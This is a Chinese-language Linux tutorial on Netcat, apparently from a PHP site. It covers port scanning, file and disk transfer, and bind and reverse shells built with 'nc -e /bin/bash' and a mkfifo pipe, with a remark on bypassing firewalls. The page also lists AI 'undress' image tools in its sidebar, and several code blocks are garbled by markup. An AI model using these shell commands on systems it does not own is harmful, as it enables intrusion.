首頁 運維 linux運維 Linux中Netcat指令

Linux中Netcat指令

Oct 15, 2017 am 10:36 AM
linux 命令

[導讀] Netcat是網路工具中的瑞士軍刀,它能透過TCP和UDP在網路中讀寫資料。透過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。使用Netcat指令所能完成的事情令人驚訝。 Netcat所做的就是在兩台電腦之間建立

 

Netcat是網路工具中的瑞士軍刀,它能透過TCP和UDP在網路中讀寫資料。透過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。使用Netcat指令所能完成的事情令人驚訝。

Netcat所做的就是在兩台電腦之間建立連結並返回兩個資料流,在這之後所能做的事就看你的想像力了。你能建立一個伺服器,傳輸文件,與朋友聊天,傳輸串流媒體或用它作為其它協議的獨立客戶端。

以下是一些使用Netcat的範例.

[A(172.31.100.7) B(172.31.100.23)]

Linux Netcat 指令實例:

#1、連接埠掃描

連接埠掃描經常被系統管理員和駭客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

$nc -z -v -n 172.31.100.7 21-25
登入後複製
可以運行在TCP或UDP模式,預設是TCP,-u參數調整為udp.

z 參數告訴Netcat使用0 IO,指的是一旦連線關閉,不進行資料交換(譯者註:這裡翻譯不准,如有其它更好的,請指出)

v 參數指使用冗餘選項(譯者註:即詳細輸出)

n 參數告訴Netcat 不要使用DNS反向查詢IP位址的網域名稱

這個指令會列印21到25所有開放的連接埠。 Banner是一個文本,Banner是一個你連接的服務發送給你的文本訊息。當你試圖鑑別漏洞或服務的類型和版本的時候,Banner資訊是非常有用的。但是,並不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以輕鬆的使用Netcat 連接服務抓取他們的banner。

$ nc -v 172.31.100.7 21
登入後複製
Netcat 指令會連接開放埠21並且列印執行在這個連接埠上服務的banner資訊。

Chat Server

假如你想和你的朋友聊聊,有很多的軟體和資訊服務可以供你使用。但是,如果你沒有這麼奢侈的配置,比如你在電腦實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要鬱悶了,Netcat提供了這樣一種方法,你只需要創建一個Chat伺服器,一個預先確定好的端口,這樣子他就可以聯繫到你了。

Server

$nc -l 1567
登入後複製
登入後複製
登入後複製
Netcat 指令在1567埠啟動了一個tcp 伺服器,所有的標準輸出和輸入都會輸出到該埠。輸出和輸入都在此shell中展示。

Client

$nc 172.31.100.7 1567
登入後複製
登入後複製
不管你在機器B上鍵入什麼都會出現在機器A上。

3、檔案傳輸

大部分時間中,我們都在試圖透過網路或其他工具傳輸檔案。有很多種方法,例如FTP,SCP,SMB等等,但是當你只是需要臨時或一次傳輸文件,真的值得浪費時間來安裝配置一個軟體到你的機器上嘛。假設,你想要傳一個檔案file.txt 從A 到B。 A或B都可以作為伺服器或客戶端,以下,讓A作為伺服器,B為客戶端。

Server

$nc -l 1567 Client<p></p><pre class="brush:php;toolbar:false">$nc -n 172.31.100.7 1567 > file.txt
登入後複製
這裡我們建立了一個伺服器在A上並且重定向Netcat的輸入為檔案file.txt,那麼當任何成功連接到該端口,Netcat會傳送file的檔案內容。

在客戶端我們重定向輸出到file.txt,當B連接到A,A發送檔案內容,B保存檔案內容到file.txt.

沒有必要建立檔案來源作為Server,我們也可以相反的方法使用。像下面的我們發送檔案從B到A,但伺服器建立在A上,這次我們只需要重定向Netcat的輸出並且重定向B的輸入檔。

B作為Server

Server

$nc -l 1567 > file.txt
登入後複製
Client

nc 172.31.100.23 1567 4、目錄傳輸######發送一個檔案很簡單,但如果我們想要傳送多個文件,或整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮後發送壓縮包。 ######如果你想要透過網路傳輸一個目錄從A到B。 ######Server###<pre class="brush:php;toolbar:false">$tar -cvf – dir_name | nc -l 1567
登入後複製
###Client###
$nc -n 172.31.100.7 1567 | tar -xvf -
登入後複製
###這裡在A伺服器上,我們建立一個tar歸檔包並且透過-在控制台重定向它,然後使用管道,重定向給Netcat,Netcat可以透過網路發送它。 ######在客戶端我們下載該壓縮包通過Netcat 管道然後開啟檔案。 ######如果想要節省頻寬傳輸壓縮包,我們可以使用bzip2或其他工具壓縮。 ######Server###
$tar -cvf – dir_name| bzip2 -z | nc -l 1567
登入後複製
###透過bzip2壓縮######Client###
$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
登入後複製
###使用bzip2解壓縮######5. 加密你透過網路傳送的資料# #####如果你擔心你在網路上發送資料的安全,你可以在發送你的資料之前用如mcrypt的工具加密。 ######服務端###
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
登入後複製
###使用mcrypt工具加密資料。 ######客戶端###
$mcrypt –flush –bare -F -q -m ecb ###使用mcrypt工具解密資料。 ###<p>以上两个命令会提示需要密码,确保两端使用相同的密码。</p><p>这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。</p><p>6. 流视频</p><p>虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用Netcat,我们仍然有希望做成这件事。</p><p>服务端</p><pre class="brush:php;toolbar:false">$cat video.avi | nc -l 1567
登入後複製

这里我们只是从一个视频文件中读入并重定向输出到Netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
登入後複製

这里我们从socket中读入数据并重定向到mplayer。

7、克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
登入後複製

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda
登入後複製

dd是一个从磁盘读取原始数据的工具,我通过Netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8、打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用Netcat创建远程shell。

假设你的Netcat支持 -c -e 参数(默认 Netcat)

Server

$nc -l 1567 -e /bin/bash -i
登入後複製

Client

$nc 172.31.100.7 1567
登入後複製
登入後複製

这里我们已经创建了一个Netcat服务器并且表示当它连接成功时执行/bin/bash

假如Netcat 不支持-c 或者 -e 参数(openbsd Netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
登入後複製

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到Netcat 运行的端口1567上。至此,我们已经把Netcat的输出重定向到fifo文件中。

说明:从网络收到的输入写到fifo文件中

  • cat 命令读取fifo文件并且其内容发送给sh命令

  • sh命令进程受到输入并把它写回到Netcat。

  • Netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

9、在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567
登入後複製

你会得到一个shell提示符在客户端

反向shell

反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567
登入後複製
登入後複製
登入後複製

在客户端,简单地告诉Netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash
登入後複製

现在,什么是反向shell的特别之处呢

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567
登入後複製
登入後複製
登入後複製

客户端

$nc 172.31.100.7 1567 -p 25
登入後複製

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

11、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在Netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 <p>客户端</p><pre class="brush:php;toolbar:false">$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
登入後複製

该命令将绑定地址172.31.100.5。

这仅仅是使用Netcat的一些示例。

其它用途有:

  • 使用-t选项模拟Telnet客户端,

  • HTTP客户端用于下载文件,

  • 连接到邮件服务器,使用SMTP协议检查邮件,

  • 使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用Netcat作为网络通讯媒介,实现各种客户端。

Linux中Netcat指令

以上是Linux中Netcat指令的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1653
14
CakePHP 教程
1413
52
Laravel 教程
1306
25
PHP教程
1251
29
C# 教程
1224
24
vscode需要什麼電腦配置 vscode需要什麼電腦配置 Apr 15, 2025 pm 09:48 PM

VS Code 系統要求:操作系統:Windows 10 及以上、macOS 10.12 及以上、Linux 發行版處理器:最低 1.6 GHz,推薦 2.0 GHz 及以上內存:最低 512 MB,推薦 4 GB 及以上存儲空間:最低 250 MB,推薦 1 GB 及以上其他要求:穩定網絡連接,Xorg/Wayland(Linux)

Linux體系結構:揭示5個基本組件 Linux體系結構:揭示5個基本組件 Apr 20, 2025 am 12:04 AM

Linux系統的五個基本組件是:1.內核,2.系統庫,3.系統實用程序,4.圖形用戶界面,5.應用程序。內核管理硬件資源,系統庫提供預編譯函數,系統實用程序用於系統管理,GUI提供可視化交互,應用程序利用這些組件實現功能。

vscode終端使用教程 vscode終端使用教程 Apr 15, 2025 pm 10:09 PM

vscode 內置終端是一個開發工具,允許在編輯器內運行命令和腳本,以簡化開發流程。如何使用 vscode 終端:通過快捷鍵 (Ctrl/Cmd ) 打開終端。輸入命令或運行腳本。使用熱鍵 (如 Ctrl L 清除終端)。更改工作目錄 (如 cd 命令)。高級功能包括調試模式、代碼片段自動補全和交互式命令歷史。

vscode在哪寫代碼 vscode在哪寫代碼 Apr 15, 2025 pm 09:54 PM

在 Visual Studio Code(VSCode)中編寫代碼簡單易行,只需安裝 VSCode、創建項目、選擇語言、創建文件、編寫代碼、保存並運行即可。 VSCode 的優點包括跨平台、免費開源、強大功能、擴展豐富,以及輕量快速。

git怎麼查看倉庫地址 git怎麼查看倉庫地址 Apr 17, 2025 pm 01:54 PM

要查看 Git 倉庫地址,請執行以下步驟:1. 打開命令行並導航到倉庫目錄;2. 運行 "git remote -v" 命令;3. 查看輸出中的倉庫名稱及其相應的地址。

notepad怎麼運行java代碼 notepad怎麼運行java代碼 Apr 16, 2025 pm 07:39 PM

雖然 Notepad 無法直接運行 Java 代碼,但可以通過借助其他工具實現:使用命令行編譯器 (javac) 編譯代碼,生成字節碼文件 (filename.class)。使用 Java 解釋器 (java) 解釋字節碼,執行代碼並輸出結果。

Linux的主要目的是什麼? Linux的主要目的是什麼? Apr 16, 2025 am 12:19 AM

Linux的主要用途包括:1.服務器操作系統,2.嵌入式系統,3.桌面操作系統,4.開發和測試環境。 Linux在這些領域表現出色,提供了穩定性、安全性和高效的開發工具。

vscode終端命令不能用 vscode終端命令不能用 Apr 15, 2025 pm 10:03 PM

VS Code 終端命令無法使用的原因及解決辦法:未安裝必要的工具(Windows:WSL;macOS:Xcode 命令行工具)路徑配置錯誤(添加可執行文件到 PATH 環境變量中)權限問題(以管理員身份運行 VS Code)防火牆或代理限制(檢查設置,解除限制)終端設置不正確(啟用使用外部終端)VS Code 安裝損壞(重新安裝或更新)終端配置不兼容(嘗試不同的終端類型或命令)特定環境變量缺失(設置必要的環境變量)

See all articles